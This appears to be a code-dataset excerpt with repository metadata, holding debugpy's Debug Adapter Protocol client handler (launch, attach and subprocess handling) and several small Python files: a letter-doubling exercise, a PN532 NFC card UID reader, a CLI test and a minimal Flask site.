events, because # there are no events from the client in DAP - but we propagate them if we can, in # case some events appear in future protocol versions. @message_handler def event(self, event): if self.server: self.server.channel.propagate(event) # Generic request handler, used if there's no specific handler below. @message_handler def request(self, request): return self.server.channel.delegate(request) @message_handler def initialize_request(self, request): if self._initialize_request is not None: raise request.isnt_valid("Session is already initialized") self.client_id = request("clientID", "") self.capabilities = self.Capabilities(self, request) self.expectations = self.Expectations(self, request) self._initialize_request = request exception_breakpoint_filters = [ { "filter": "raised", "label": "Raised Exceptions", "default": False, "description": "Break whenever any exception is raised.", }, { "filter": "uncaught", "label": "Uncaught Exceptions", "default": True, "description": "Break when the process is exiting due to unhandled exception.", }, { "filter": "userUnhandled", "label": "User Uncaught Exceptions", "default": False, "description": "Break when exception escapes into library code.", }, ] return { "supportsCompletionsRequest": True, "supportsConditionalBreakpoints": True, "supportsConfigurationDoneRequest": True, "supportsDebuggerProperties": True, "supportsDelayedStackTraceLoading": True, "supportsEvaluateForHovers": True, "supportsExceptionInfoRequest": True, "supportsExceptionOptions": True, "supportsFunctionBreakpoints": True, "supportsHitConditionalBreakpoints": True, "supportsLogPoints": True, "supportsModulesRequest": True, "supportsSetExpression": True, "supportsSetVariable": True, "supportsValueFormattingOptions": True, "supportsTerminateDebuggee": True, "supportsGotoTargetsRequest": True, "supportsClipboardContext": True, "exceptionBreakpointFilters": exception_breakpoint_filters, "supportsStepInTargetsRequest": True, } # Common code for "launch" and "attach" request handlers. # # See https://github.com/microsoft/vscode/issues/4902#issuecomment-368583522 # for the sequence of request and events necessary to orchestrate the start. def _start_message_handler(f): @components.Component.message_handler def handle(self, request): assert request.is_request("launch", "attach") if self._initialize_request is None: raise request.isnt_valid("Session is not initialized yet") if self.launcher or self.server: raise request.isnt_valid("Session is already started") self.session.no_debug = request("noDebug", json.default(False)) if self.session.no_debug: servers.dont_wait_for_first_connection() self.session.debug_options = debug_options = set( request("debugOptions", json.array(unicode)) ) f(self, request) if request.response is not None: return if self.server: self.server.initialize(self._initialize_request) self._initialize_request = None arguments = request.arguments if self.launcher: redirecting = arguments.get("console") == "internalConsole" if "RedirectOutput" in debug_options: # The launcher is doing output redirection, so we don't need the # server to do it, as well. arguments = dict(arguments) arguments["debugOptions"] = list( debug_options - {"RedirectOutput"} ) redirecting = True if arguments.get("redirectOutput"): arguments = dict(arguments) del arguments["redirectOutput"] redirecting = True arguments["isOutputRedirected"] = redirecting # pydevd doesn't send "initialized", and responds to the start request # immediately, without waiting for "configurationDone". If it changes # to conform to the DAP spec, we'll need to defer waiting for response. try: self.server.channel.request(request.command, arguments) except messaging.NoMoreMessages: # Server closed connection before we could receive the response to # "attach" or "launch" - this can happen when debuggee exits shortly # after starting. It's not an error, but we can't do anything useful # here at this point, either, so just bail out. request.respond({}) self.session.finalize( fmt( "{0} disconnected before responding to {1!j}", self.server, request.command, ) ) return except messaging.MessageHandlingError as exc: exc.propagate(request) if self.session.no_debug: self.start_request = request self.has_started = True request.respond({}) self._propagate_deferred_events() return if "clientOS" in request: client_os = request("clientOS", json.enum("windows", "unix")).upper() elif {"WindowsClient", "Windows"} & debug_options: client_os = "WINDOWS" elif {"UnixClient", "UNIX"} & debug_options: client_os = "UNIX" else: client_os = "WINDOWS" if sys.platform == "win32" else "UNIX" self.server.channel.request( "setDebuggerProperty", { "skipSuspendOnBreakpointException": ("BaseException",), "skipPrintBreakpointException": ("NameError",), "multiThreadsSingleNotification": True, "ideOS": client_os, }, ) # Let the client know that it can begin configuring the adapter. self.channel.send_event("initialized") self.start_request = request return messaging.NO_RESPONSE # will respond on "configurationDone" return handle @_start_message_handler def launch_request(self, request): from debugpy.adapter import launchers if self.session.id != 1 or len(servers.connections()): raise request.cant_handle('"attach" expected') debug_options = set(request("debugOptions", json.array(unicode))) # Handling of properties that can also be specified as legacy "debugOptions" flags. # If property is explicitly set to false, but the flag is in "debugOptions", treat # it as an error. Returns None if the property wasn't explicitly set either way. def property_or_debug_option(prop_name, flag_name): assert prop_name[0].islower() and flag_name[0].isupper() value = request(prop_name, bool, optional=True) if value == (): value = None if flag_name in debug_options: if value is False: raise request.isnt_valid( '{0!j}:false and "debugOptions":[{1!j}] are mutually exclusive', prop_name, flag_name, ) value = True return value # "pythonPath" is a deprecated legacy spelling. If "python" is missing, then try # the alternative. But if both are missing, the error message should say "python". python_key = "python" if python_key in request: if "pythonPath" in request: raise request.isnt_valid( '"pythonPath" is not valid if "python" is specified' ) elif "pythonPath" in request: python_key = "pythonPath" python = request(python_key, json.array(unicode, vectorize=True, size=(0,))) if not len(python): python = [compat.filename(sys.executable)] python += request("pythonArgs", json.array(unicode, size=(0,))) request.arguments["pythonArgs"] = python[1:] request.arguments["python"] = python launcher_python = request("debugLauncherPython", unicode, optional=True) if launcher_python == (): launcher_python = python[0] program = module = code = () if "program" in request: program = request("program", unicode) args = [program] request.arguments["processName"] = program if "module" in request: module = request("module", unicode) args = ["-m", module] request.arguments["processName"] = module if "code" in request: code = request("code", json.array(unicode, vectorize=True, size=(1,))) args = ["-c", "\n".join(code)] request.arguments["processName"] = "-c" num_targets = len([x for x in (program, module, code) if x != ()]) if num_targets == 0: raise request.isnt_valid( 'either "program", "module", or "code" must be specified' ) elif num_targets != 1: raise request.isnt_valid( '"program", "module", and "code" are mutually exclusive' ) # Propagate "args" via CLI if and only if shell expansion is requested. args_expansion = request( "argsExpansion", json.enum("shell", "none", optional=True) ) if args_expansion == "shell": args += request("args", json.array(unicode)) request.arguments.pop("args", None) cwd = request("cwd", unicode, optional=True) if cwd == (): # If it's not specified, but we're launching a file rather than a module, # and the specified path has a directory in it, use that. cwd = None if program == () else (os.path.dirname(program) or None) console = request( "console", json.enum( "internalConsole", "integratedTerminal", "externalTerminal", optional=True, ), ) console_title = request("consoleTitle", json.default("Python Debug Console")) sudo = bool(property_or_debug_option("sudo", "Sudo")) if sudo and sys.platform == "win32": raise request.cant_handle('"sudo":true is not supported on Windows.') launcher_path = request("debugLauncherPath", os.path.dirname(launcher.__file__)) adapter_host = request("debugAdapterHost", "127.0.0.1") try: servers.serve(adapter_host) except Exception as exc: raise request.cant_handle( "{0} couldn't create listener socket for servers: {1}", self.session, exc, ) launchers.spawn_debuggee( self.session, request, [launcher_python], launcher_path, adapter_host, args, cwd, console, console_title, sudo, ) @_start_message_handler def attach_request(self, request): if self.session.no_debug: raise request.isnt_valid('"noDebug" is not supported for "attach"') host = request("host", unicode, optional=True) port = request("port", int, optional=True) listen = request("listen", dict, optional=True) connect = request("connect", dict, optional=True) pid = request("processId", (int, unicode), optional=True) sub_pid = request("subProcessId", int, optional=True) if host != () or port != (): if listen != (): raise request.isnt_valid( '"listen" and "host"/"port" are mutually exclusive' ) if connect != (): raise request.isnt_valid( '"connect" and "host"/"port" are mutually exclusive' ) if listen != (): if connect != (): raise request.isnt_valid( '"listen" and "connect" are mutually exclusive' ) if pid != (): raise request.isnt_valid( '"listen" and "processId" are mutually exclusive' ) if sub_pid != (): raise request.isnt_valid( '"listen" and "subProcessId" are mutually exclusive' ) if pid != () and sub_pid != (): raise request.isnt_valid( '"processId" and "subProcessId" are mutually exclusive' ) if listen != (): host = listen("host", "127.0.0.1") port = listen("port", int) adapter.access_token = None host, port = servers.serve(host, port) else: host, port = servers.serve() # There are four distinct possibilities here. # # If "processId" is specified, this is attach-by-PID. We need to inject the # debug server into the designated process, and then wait until it connects # back to us. Since the injected server can crash, there must be a timeout. # # If "subProcessId" is specified, this is attach to a known subprocess, likely # in response to a "debugpyAttach" event. If so, the debug server should be # connected already, and thus the wait timeout is zero. # # If "listen" is specified, this is attach-by-socket with the server expected # to connect to the adapter via debugpy.connect(). There is no PID known in # advance, so just wait until the first server connection indefinitely, with # no timeout. # # If "connect" is specified, this is attach-by-socket in which the server has # spawned the adapter via debugpy.listen(). There is no PID known to the client # in advance, but the server connection should be either be there already, or # the server should be connecting shortly, so there must be a timeout. # # In the last two cases, if there's more than one server connection already, # this is a multiprocess re-attach. The client doesn't know the PID, so we just # connect it to the oldest server connection that we have - in most cases, it # will be the one for the root debuggee process, but if it has exited already, # it will be some subprocess. if pid != (): if not isinstance(pid, int): try: pid = int(pid) except Exception: raise request.isnt_valid('"processId" must be parseable as int') debugpy_args = request("debugpyArgs", json.array(unicode)) servers.inject(pid, debugpy_args) timeout = common.PROCESS_SPAWN_TIMEOUT pred = lambda conn: conn.pid == pid else: if sub_pid == (): pred = lambda conn: True timeout = common.PROCESS_SPAWN_TIMEOUT if listen == () else None else: pred = lambda conn: conn.pid == sub_pid timeout = 0 self.channel.send_event("debugpyWaitingForServer", {"host": host, "port": port}) conn = servers.wait_for_connection(self.session, pred, timeout) if conn is None: if sub_pid != (): # If we can't find a matching subprocess, it's not always an error - # it might have already exited, or didn't even get a chance to connect. # To prevent the client from complaining, pretend that the "attach" # request was successful, but that the session terminated immediately. request.respond({}) self.session.finalize( fmt('No known subprocess with "subProcessId":{0}', sub_pid) ) return raise request.cant_handle( ( "Timed out waiting for debug server to connect." if timeout else "There is no debug server connected to this adapter." ), sub_pid, ) try: conn.attach_to_session(self.session) except ValueError: request.cant_handle("{0} is already being debugged.", conn) @message_handler def configurationDone_request(self, request): if self.start_request is None or self.has_started: request.cant_handle( '"configurationDone" is only allowed during handling of a "launch" ' 'or an "attach" request' ) try: self.has_started = True try: result = self.server.channel.delegate(request) except messaging.NoMoreMessages: # Server closed connection before we could receive the response to # "configurationDone" - this can happen when debuggee exits shortly # after starting. It's not an error, but we can't do anything useful # here at this point, either, so just bail out. request.respond({}) self.start_request.respond({}) self.session.finalize( fmt( "{0} disconnected before responding to {1!j}", self.server, request.command, ) ) return else: request.respond(result) except messaging.MessageHandlingError as exc: self.start_request.cant_handle(str(exc)) finally: if self.start_request.response is None: self.start_request.respond({}) self._propagate_deferred_events() # Notify the client of any child processes of the debuggee that aren't already # being debugged. for conn in servers.connections(): if conn.server is None and conn.ppid == self.session.pid: self.notify_of_subprocess(conn) @message_handler def evaluate_request(self, request): propagated_request = self.server.channel.propagate(request) def handle_response(response): request.respond(response.body) propagated_request.on_response(handle_response) return messaging.NO_RESPONSE @message_handler def pause_request(self, request): request.arguments["threadId"] = "*" return self.server.channel.delegate(request) @message_handler def continue_request(self, request): request.arguments["threadId"] = "*" try: return self.server.channel.delegate(request) except messaging.NoMoreMessages: # pydevd can sometimes allow the debuggee to exit before the queued # "continue" response gets sent. Thus, a failed "continue" response # indicating that the server disconnected should be treated as success. return {"allThreadsContinued": True} @message_handler def debugpySystemInfo_request(self, request): result = {"debugpy": {"version": debugpy.__version__}} if self.server: try: pydevd_info = self.server.channel.request("pydevdSystemInfo") except Exception: # If the server has already disconnected, or couldn't handle it, # report what we've got. pass else: result.update(pydevd_info) return result @message_handler def terminate_request(self, request): self.session.finalize('client requested "terminate"', terminate_debuggee=True) return {} @message_handler def disconnect_request(self, request): terminate_debuggee = request("terminateDebuggee", bool, optional=True) if terminate_debuggee == (): terminate_debuggee = None self.session.finalize('client requested "disconnect"', terminate_debuggee) return {} def notify_of_subprocess(self, conn): with self.session: if self.start_request is None or conn in self._known_subprocesses: return if "processId" in self.start_request.arguments: log.warning( "Not reporting subprocess for {0}, because the parent process " 'was attached to using "processId" rather than "port".', self.session, ) return log.info("Notifying {0} about {1}.", self, conn) body = dict(self.start_request.arguments) self._known_subprocesses.add(conn) for key in "processId", "listen", "preLaunchTask", "postDebugTask": body.pop(key, None) body["name"] = fmt("Subprocess {0}", conn.pid) body["request"] = "attach" body["subProcessId"] = conn.pid for key in "args", "processName", "pythonArgs": body.pop(key, None) host = body.pop("host", None) port = body.pop("port", None) if "connect" not in body: body["connect"] = {} if "host" not in body["connect"]: body["connect"]["host"] = host if host is not None else "127.0.0.1" if "port" not in body["connect"]: if port is None: _, port = listener.getsockname() body["connect"]["port"] = port self.channel.send_event("debugpyAttach", body) def serve(host, port): global listener listener = sockets.serve("Client", Client, host, port) return listener.getsockname() def stop_serving(): try: listener.close() except Exception: log.swallow_exception(level="warning")

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from __future__ import absolute_import, division, print_function, unicode_literals import atexit import os import sys import debugpy from debugpy import adapter, common, launcher from debugpy.common import compat, fmt, json, log, messaging, sockets from debugpy.common.compat import unicode from debugpy.adapter import components, servers, sessions class Client(components.Component): message_handler = components.Component.message_handler class Capabilities(components.Capabilities): PROPERTIES = { "supportsVariableType": False, "supportsVariablePaging": False, "supportsRunInTerminalRequest": False, "supportsMemoryReferences": False, } class Expectations(components.Capabilities): PROPERTIES = { "locale": "en-US", "linesStartAt1": True, "columnsStartAt1": True, "pathFormat": json.enum("path", optional=True), } def __init__(self, sock): if sock == "stdio": log.info("Connecting to client over stdio...", self) stream = messaging.JsonIOStream.from_stdio() # Make sure that nothing else tries to interfere with the stdio streams # that are going to be used for DAP communication from now on. sys.stdin = stdin = open(os.devnull, "r") atexit.register(stdin.close) sys.stdout = stdout = open(os.devnull, "w") atexit.register(stdout.close) else: stream = messaging.JsonIOStream.from_socket(sock) with sessions.Session() as session: super(Client, self).__init__(session, stream) self.client_id = None self.has_started = False self.start_request = None self._initialize_request = None self._deferred_events = [] self._known_subprocesses = set() session.client = self session.register() # For the transition period, send the telemetry events with both old and new # name. The old one should be removed once the new one lights up. self.channel.send_event( "output", { "category": "telemetry", "output": "ptvsd", "data": {"packageVersion": debugpy.__version__}, }, ) self.channel.send_event( "output", { "category": "telemetry", "output": "debugpy", "data": {"packageVersion": debugpy.__version__}, }, ) def propagate_after_start(self, event): # pydevd starts sending events as soon as we connect, but the client doesn't if self._deferred_events is not None: self._deferred_events.append(event) log.debug("Propagation deferred.") else: self.client.channel.propagate(event) def _propagate_deferred_events(self): log.debug("Propagating deferred events to {0}...", self.client) for event in self._deferred_events: log.debug("Propagating deferred {0}", event.describe()) self.client.channel.propagate(event) log.info("All deferred events propagated to {0}.", self.client) self._deferred_events = None @message_handler def event(self, event): if self.server: self.server.channel.propagate(event) @message_handler def request(self, request): return self.server.channel.delegate(request) @message_handler def initialize_request(self, request): if self._initialize_request is not None: raise request.isnt_valid("Session is already initialized") self.client_id = request("clientID", "") self.capabilities = self.Capabilities(self, request) self.expectations = self.Expectations(self, request) self._initialize_request = request exception_breakpoint_filters = [ { "filter": "raised", "label": "Raised Exceptions", "default": False, "description": "Break whenever any exception is raised.", }, { "filter": "uncaught", "label": "Uncaught Exceptions", "default": True, "description": "Break when the process is exiting due to unhandled exception.", }, { "filter": "userUnhandled", "label": "User Uncaught Exceptions", "default": False, "description": "Break when exception escapes into library code.", }, ] return { "supportsCompletionsRequest": True, "supportsConditionalBreakpoints": True, "supportsConfigurationDoneRequest": True, "supportsDebuggerProperties": True, "supportsDelayedStackTraceLoading": True, "supportsEvaluateForHovers": True, "supportsExceptionInfoRequest": True, "supportsExceptionOptions": True, "supportsFunctionBreakpoints": True, "supportsHitConditionalBreakpoints": True, "supportsLogPoints": True, "supportsModulesRequest": True, "supportsSetExpression": True, "supportsSetVariable": True, "supportsValueFormattingOptions": True, "supportsTerminateDebuggee": True, "supportsGotoTargetsRequest": True, "supportsClipboardContext": True, "exceptionBreakpointFilters": exception_breakpoint_filters, "supportsStepInTargetsRequest": True, } # Common code for "launch" and "attach" request handlers. # # See https://github.com/microsoft/vscode/issues/4902#issuecomment-368583522 # for the sequence of request and events necessary to orchestrate the start. def _start_message_handler(f): @components.Component.message_handler def handle(self, request): assert request.is_request("launch", "attach") if self._initialize_request is None: raise request.isnt_valid("Session is not initialized yet") if self.launcher or self.server: raise request.isnt_valid("Session is already started") self.session.no_debug = request("noDebug", json.default(False)) if self.session.no_debug: servers.dont_wait_for_first_connection() self.session.debug_options = debug_options = set( request("debugOptions", json.array(unicode)) ) f(self, request) if request.response is not None: return if self.server: self.server.initialize(self._initialize_request) self._initialize_request = None arguments = request.arguments if self.launcher: redirecting = arguments.get("console") == "internalConsole" if "RedirectOutput" in debug_options: # The launcher is doing output redirection, so we don't need the arguments = dict(arguments) arguments["debugOptions"] = list( debug_options - {"RedirectOutput"} ) redirecting = True if arguments.get("redirectOutput"): arguments = dict(arguments) del arguments["redirectOutput"] redirecting = True arguments["isOutputRedirected"] = redirecting # immediately, without waiting for "configurationDone". If it changes # to conform to the DAP spec, we'll need to defer waiting for response. try: self.server.channel.request(request.command, arguments) except messaging.NoMoreMessages: request.respond({}) self.session.finalize( fmt( "{0} disconnected before responding to {1!j}", self.server, request.command, ) ) return except messaging.MessageHandlingError as exc: exc.propagate(request) if self.session.no_debug: self.start_request = request self.has_started = True request.respond({}) self._propagate_deferred_events() return if "clientOS" in request: client_os = request("clientOS", json.enum("windows", "unix")).upper() elif {"WindowsClient", "Windows"} & debug_options: client_os = "WINDOWS" elif {"UnixClient", "UNIX"} & debug_options: client_os = "UNIX" else: client_os = "WINDOWS" if sys.platform == "win32" else "UNIX" self.server.channel.request( "setDebuggerProperty", { "skipSuspendOnBreakpointException": ("BaseException",), "skipPrintBreakpointException": ("NameError",), "multiThreadsSingleNotification": True, "ideOS": client_os, }, ) self.channel.send_event("initialized") self.start_request = request return messaging.NO_RESPONSE return handle @_start_message_handler def launch_request(self, request): from debugpy.adapter import launchers if self.session.id != 1 or len(servers.connections()): raise request.cant_handle('"attach" expected') debug_options = set(request("debugOptions", json.array(unicode))) def property_or_debug_option(prop_name, flag_name): assert prop_name[0].islower() and flag_name[0].isupper() value = request(prop_name, bool, optional=True) if value == (): value = None if flag_name in debug_options: if value is False: raise request.isnt_valid( '{0!j}:false and "debugOptions":[{1!j}] are mutually exclusive', prop_name, flag_name, ) value = True return value # "pythonPath" is a deprecated legacy spelling. If "python" is missing, then try # the alternative. But if both are missing, the error message should say "python". python_key = "python" if python_key in request: if "pythonPath" in request: raise request.isnt_valid( '"pythonPath" is not valid if "python" is specified' ) elif "pythonPath" in request: python_key = "pythonPath" python = request(python_key, json.array(unicode, vectorize=True, size=(0,))) if not len(python): python = [compat.filename(sys.executable)] python += request("pythonArgs", json.array(unicode, size=(0,))) request.arguments["pythonArgs"] = python[1:] request.arguments["python"] = python launcher_python = request("debugLauncherPython", unicode, optional=True) if launcher_python == (): launcher_python = python[0] program = module = code = () if "program" in request: program = request("program", unicode) args = [program] request.arguments["processName"] = program if "module" in request: module = request("module", unicode) args = ["-m", module] request.arguments["processName"] = module if "code" in request: code = request("code", json.array(unicode, vectorize=True, size=(1,))) args = ["-c", "\n".join(code)] request.arguments["processName"] = "-c" num_targets = len([x for x in (program, module, code) if x != ()]) if num_targets == 0: raise request.isnt_valid( 'either "program", "module", or "code" must be specified' ) elif num_targets != 1: raise request.isnt_valid( '"program", "module", and "code" are mutually exclusive' ) # Propagate "args" via CLI if and only if shell expansion is requested. args_expansion = request( "argsExpansion", json.enum("shell", "none", optional=True) ) if args_expansion == "shell": args += request("args", json.array(unicode)) request.arguments.pop("args", None) cwd = request("cwd", unicode, optional=True) if cwd == (): # If it's not specified, but we're launching a file rather than a module, # and the specified path has a directory in it, use that. cwd = None if program == () else (os.path.dirname(program) or None) console = request( "console", json.enum( "internalConsole", "integratedTerminal", "externalTerminal", optional=True, ), ) console_title = request("consoleTitle", json.default("Python Debug Console")) sudo = bool(property_or_debug_option("sudo", "Sudo")) if sudo and sys.platform == "win32": raise request.cant_handle('"sudo":true is not supported on Windows.') launcher_path = request("debugLauncherPath", os.path.dirname(launcher.__file__)) adapter_host = request("debugAdapterHost", "127.0.0.1") try: servers.serve(adapter_host) except Exception as exc: raise request.cant_handle( "{0} couldn't create listener socket for servers: {1}", self.session, exc, ) launchers.spawn_debuggee( self.session, request, [launcher_python], launcher_path, adapter_host, args, cwd, console, console_title, sudo, ) @_start_message_handler def attach_request(self, request): if self.session.no_debug: raise request.isnt_valid('"noDebug" is not supported for "attach"') host = request("host", unicode, optional=True) port = request("port", int, optional=True) listen = request("listen", dict, optional=True) connect = request("connect", dict, optional=True) pid = request("processId", (int, unicode), optional=True) sub_pid = request("subProcessId", int, optional=True) if host != () or port != (): if listen != (): raise request.isnt_valid( '"listen" and "host"/"port" are mutually exclusive' ) if connect != (): raise request.isnt_valid( '"connect" and "host"/"port" are mutually exclusive' ) if listen != (): if connect != (): raise request.isnt_valid( '"listen" and "connect" are mutually exclusive' ) if pid != (): raise request.isnt_valid( '"listen" and "processId" are mutually exclusive' ) if sub_pid != (): raise request.isnt_valid( '"listen" and "subProcessId" are mutually exclusive' ) if pid != () and sub_pid != (): raise request.isnt_valid( '"processId" and "subProcessId" are mutually exclusive' ) if listen != (): host = listen("host", "127.0.0.1") port = listen("port", int) adapter.access_token = None host, port = servers.serve(host, port) else: host, port = servers.serve() # this is a multiprocess re-attach. The client doesn't know the PID, so we just if pid != (): if not isinstance(pid, int): try: pid = int(pid) except Exception: raise request.isnt_valid('"processId" must be parseable as int') debugpy_args = request("debugpyArgs", json.array(unicode)) servers.inject(pid, debugpy_args) timeout = common.PROCESS_SPAWN_TIMEOUT pred = lambda conn: conn.pid == pid else: if sub_pid == (): pred = lambda conn: True timeout = common.PROCESS_SPAWN_TIMEOUT if listen == () else None else: pred = lambda conn: conn.pid == sub_pid timeout = 0 self.channel.send_event("debugpyWaitingForServer", {"host": host, "port": port}) conn = servers.wait_for_connection(self.session, pred, timeout) if conn is None: if sub_pid != (): # To prevent the client from complaining, pretend that the "attach" # request was successful, but that the session terminated immediately. request.respond({}) self.session.finalize( fmt('No known subprocess with "subProcessId":{0}', sub_pid) ) return raise request.cant_handle( ( "Timed out waiting for debug server to connect." if timeout else "There is no debug server connected to this adapter." ), sub_pid, ) try: conn.attach_to_session(self.session) except ValueError: request.cant_handle("{0} is already being debugged.", conn) @message_handler def configurationDone_request(self, request): if self.start_request is None or self.has_started: request.cant_handle( '"configurationDone" is only allowed during handling of a "launch" ' 'or an "attach" request' ) try: self.has_started = True try: result = self.server.channel.delegate(request) except messaging.NoMoreMessages: # Server closed connection before we could receive the response to # "configurationDone" - this can happen when debuggee exits shortly # after starting. It's not an error, but we can't do anything useful # here at this point, either, so just bail out. request.respond({}) self.start_request.respond({}) self.session.finalize( fmt( "{0} disconnected before responding to {1!j}", self.server, request.command, ) ) return else: request.respond(result) except messaging.MessageHandlingError as exc: self.start_request.cant_handle(str(exc)) finally: if self.start_request.response is None: self.start_request.respond({}) self._propagate_deferred_events() # Notify the client of any child processes of the debuggee that aren't already for conn in servers.connections(): if conn.server is None and conn.ppid == self.session.pid: self.notify_of_subprocess(conn) @message_handler def evaluate_request(self, request): propagated_request = self.server.channel.propagate(request) def handle_response(response): request.respond(response.body) propagated_request.on_response(handle_response) return messaging.NO_RESPONSE @message_handler def pause_request(self, request): request.arguments["threadId"] = "*" return self.server.channel.delegate(request) @message_handler def continue_request(self, request): request.arguments["threadId"] = "*" try: return self.server.channel.delegate(request) except messaging.NoMoreMessages: return {"allThreadsContinued": True} @message_handler def debugpySystemInfo_request(self, request): result = {"debugpy": {"version": debugpy.__version__}} if self.server: try: pydevd_info = self.server.channel.request("pydevdSystemInfo") except Exception: # report what we've got. pass else: result.update(pydevd_info) return result @message_handler def terminate_request(self, request): self.session.finalize('client requested "terminate"', terminate_debuggee=True) return {} @message_handler def disconnect_request(self, request): terminate_debuggee = request("terminateDebuggee", bool, optional=True) if terminate_debuggee == (): terminate_debuggee = None self.session.finalize('client requested "disconnect"', terminate_debuggee) return {} def notify_of_subprocess(self, conn): with self.session: if self.start_request is None or conn in self._known_subprocesses: return if "processId" in self.start_request.arguments: log.warning( "Not reporting subprocess for {0}, because the parent process " 'was attached to using "processId" rather than "port".', self.session, ) return log.info("Notifying {0} about {1}.", self, conn) body = dict(self.start_request.arguments) self._known_subprocesses.add(conn) for key in "processId", "listen", "preLaunchTask", "postDebugTask": body.pop(key, None) body["name"] = fmt("Subprocess {0}", conn.pid) body["request"] = "attach" body["subProcessId"] = conn.pid for key in "args", "processName", "pythonArgs": body.pop(key, None) host = body.pop("host", None) port = body.pop("port", None) if "connect" not in body: body["connect"] = {} if "host" not in body["connect"]: body["connect"]["host"] = host if host is not None else "127.0.0.1" if "port" not in body["connect"]: if port is None: _, port = listener.getsockname() body["connect"]["port"] = port self.channel.send_event("debugpyAttach", body) def serve(host, port): global listener listener = sockets.serve("Client", Client, host, port) return listener.getsockname() def stop_serving(): try: listener.close() except Exception: log.swallow_exception(level="warning")

true

f701767e7eb4bd50bad3cd14a4cce3b563d834a2

510

py

Python

p03.2/double_letters.py

LukeBriggsDev/GCSE-Code-Tasks

ed696873f6f9980e32b85ab7850cef8e75d52604

[ "MIT" ]

null

p03.2/double_letters.py

LukeBriggsDev/GCSE-Code-Tasks

ed696873f6f9980e32b85ab7850cef8e75d52604

[ "MIT" ]

null

p03.2/double_letters.py

LukeBriggsDev/GCSE-Code-Tasks

ed696873f6f9980e32b85ab7850cef8e75d52604

[ "MIT" ]

null

""" Problem: The function 'doubler' takes a word as input. It should create and print a string, where each character in the string is doubled, for example: "test" -> "tteesstt" Tests: >>> doubler("test") tteesstt >>> doubler("original") oorriiggiinnaall >>> doubler("hihihi") hhiihhiihhii """ import doctest def run_tests(): doctest.testmod(verbose=True) def doubler(word): print(''.join([char + char for char in word])) if __name__ == "__main__": run_tests()

15

69

0.65098

import doctest def run_tests(): doctest.testmod(verbose=True) def doubler(word): print(''.join([char + char for char in word])) if __name__ == "__main__": run_tests()

true

f70176d180413d27094964996f759d35f158b8ae

1,328

py

Python

idread.py

sdwhturbosun/pn532_spi4student

72af24e3e7a72811589fbc225f231330d470acad

[ "MIT" ]

null

idread.py

sdwhturbosun/pn532_spi4student

72af24e3e7a72811589fbc225f231330d470acad

[ "MIT" ]

null

idread.py

sdwhturbosun/pn532_spi4student

72af24e3e7a72811589fbc225f231330d470acad

[ "MIT" ]

null

import binascii import sys import Adafruit_PN532 as PN532 # Setup how the PN532 is connected to the Raspbery Pi/BeagleBone Black. # It is recommended to use a software SPI connection with 4 digital GPIO pins. # Configuration for a Raspberry Pi: CS = 8 #pn532_nss----->rpi_ce0:8 MOSI = 9 #pn532_mosi---->rpi__miso:9 MISO = 10 #pn532_miso---->rpi__mosi:10 SCLK = 11 #pn532_sck----->rpi_sclk:11 # Configuration for a BeagleBone Black: # CS = 'P8_7' # MOSI = 'P8_8' # MISO = 'P8_9' # SCLK = 'P8_10' # Create an instance of the PN532 class. pn532 = PN532.PN532(cs=CS, sclk=SCLK, mosi=MOSI, miso=MISO) # Call begin to initialize communication with the PN532. Must be done before # any other calls to the PN532! pn532.begin() # Get the firmware version from the chip and print(it out.) ic, ver, rev, support = pn532.get_firmware_version() print('Found PN532 with firmware version: {0}.{1}'.format(ver, rev)) # Configure PN532 to communicate with MiFare cards. pn532.SAM_configuration() # Main loop to detect cards and read a block. while True: print('等待读卡中，请将卡靠近pn532读取设备...') # Check if a card is available to read. uid = pn532.read_passive_target() # Try again if no card is available. if uid is None: continue uid=format(binascii.hexlify(uid)) print("UID:",uid)

26.039216

78

0.700301

import binascii import sys import Adafruit_PN532 as PN532 CS = 8 MOSI = 9 MISO = 10 SCLK = 11 pn532 = PN532.PN532(cs=CS, sclk=SCLK, mosi=MOSI, miso=MISO) pn532.begin() ic, ver, rev, support = pn532.get_firmware_version() print('Found PN532 with firmware version: {0}.{1}'.format(ver, rev)) pn532.SAM_configuration() while True: print('等待读卡中，请将卡靠近pn532读取设备...') uid = pn532.read_passive_target() if uid is None: continue uid=format(binascii.hexlify(uid)) print("UID:",uid)

true

f70177f8792e21fd19853261c7c4d9f5f44b972b

79

py

Python

tests/test_cli.py

pbujold/macaqueModules

3f55ec45f691972e40cc8bd98071b7934ae24349

[ "MIT" ]

1

2021-08-25T08:45:52.000Z

tests/test_cli.py

pbujold/macaqueModules

3f55ec45f691972e40cc8bd98071b7934ae24349

[ "MIT" ]

null

tests/test_cli.py

pbujold/macaqueModules

3f55ec45f691972e40cc8bd98071b7934ae24349

[ "MIT" ]

null

from macaque import cli def test_cli_template(): assert cli.cli() is None

15.8

28

0.734177

from macaque import cli def test_cli_template(): assert cli.cli() is None

true

f7017816f2ca3a9c790e346ca4d93eb29edd1df0

262

py

Python

17.05.2022/POO/parte3/webBonus/meu_site.py

N0N4T0/python-codes

ac2b884f86749a8b179ff972cdb316ec4e005b32

[ "MIT" ]

null

17.05.2022/POO/parte3/webBonus/meu_site.py

N0N4T0/python-codes

ac2b884f86749a8b179ff972cdb316ec4e005b32

[ "MIT" ]

null

17.05.2022/POO/parte3/webBonus/meu_site.py

N0N4T0/python-codes

ac2b884f86749a8b179ff972cdb316ec4e005b32

[ "MIT" ]

null

# Antes de mais nada install o flask = pip install flask from flask import Flask app = Flask(__name__) @app.route('/') def homepage(): return 'Essa é minha HomePage' @app.route('/contatos') def contatos(): return 'Essa são os meus contatos' app.run()

18.714286

56

0.694656

from flask import Flask app = Flask(__name__) @app.route('/') def homepage(): return 'Essa é minha HomePage' @app.route('/contatos') def contatos(): return 'Essa são os meus contatos' app.run()

true

f70178817daa3868f8cf3f8e570980b45d7a7bd8

1,183

py

Python

unjabberlib/formatters.py

adsr303/unjabber

159f5fc8468e51c885a97c215196241c63b42a1e

[ "MIT" ]

null

unjabberlib/formatters.py

adsr303/unjabber

159f5fc8468e51c885a97c215196241c63b42a1e

[ "MIT" ]

null

unjabberlib/formatters.py

adsr303/unjabber

159f5fc8468e51c885a97c215196241c63b42a1e

[ "MIT" ]

null

